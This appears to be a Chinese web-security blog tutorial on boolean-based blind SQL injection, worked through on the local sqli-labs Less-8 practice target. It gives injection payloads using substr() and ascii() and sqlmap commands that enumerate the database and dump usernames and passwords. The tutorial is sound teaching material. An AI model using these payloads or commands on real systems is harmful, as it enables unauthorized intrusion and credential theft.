点我
SQL注入【布尔盲注】
SQL注入【布尔盲注】
利用场景
- 在有些情况下,后台使用了错误信息屏蔽方法(比如@),屏蔽了报错,
- 无法在根据报错信息来进行注入的判断,该情况称为"盲注"
表现形式
- based boolean (布尔盲注)
- based time(时间盲注)
布尔盲注
- 传入“”错误“”参数和“正确”参数,观察页面是否发生了变化
所用函数
- length() 获取字符串的长度
substr() 截取字符串
语法:substr(string,num start,num length)
string 字符串;start 起始位置(从1开始);截取长度
- ascii() 把字符转换为ascii码值
靶场Less-8
1、进入靶场,只显示了you are in..
2、将1改为0,观察页面是否发生了变化
you are in... 这三个单词不见了
页面发生变化
3、貌似是布尔盲注,通过探测得知为字符型布尔盲注
4、使用substr() 探测数据库版本号
本地操作:
靶场:
http://127.0.0.1/sqli/Less-8/?id=1' and substr(version(),1,1) = 5-- q
5、版本号5.0以上,使用length() 探测数据库名的长度
6、得知数据库名长度为8,可进行猜单词,会不会是security,8个字母
使用 substr()、ascii()验证猜想
得知s字母的在ASCII码表中的数字是115
故可以构造poc
ascii(substr(database(),0,1))=115
可以验证当前数据库名的第一个单词是s,猜想正确
验证第二个
第二个单词为e,猜想正确
接下来进行一一猜解
7、知道了数据库名后,又知道版本号为5.0以上版本,故可利用information_schema数据库进行爆出相关数据
利用方法与上一步同理
8、由于一个单词一个单词猜解,过于费时费力,所以可以使用自动化工具SQLMap
SQLMap跑布尔盲注
基本操作
可以使用 --technique 指定SQLMap探测技术
支持的探测方式有:
- B: 基于Boolean的盲注(Boolean based blind)
- Q: 内联查询(inlin queries)
- T:基于时间的盲注(time based blind)
- U: 联合查询(union query based)
- E: 错误(errorbased)
1、由于已经知道存在 布尔盲注
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B --current-db
得出当前数据库名security
2、跑security数据库下的表面
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security
--tables
3、跑出 users表下的字段名
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users --columns
4、跑出id、username、password的数据
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users
-C id,username,password --dump
分类:
WEB安全
版权申明
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论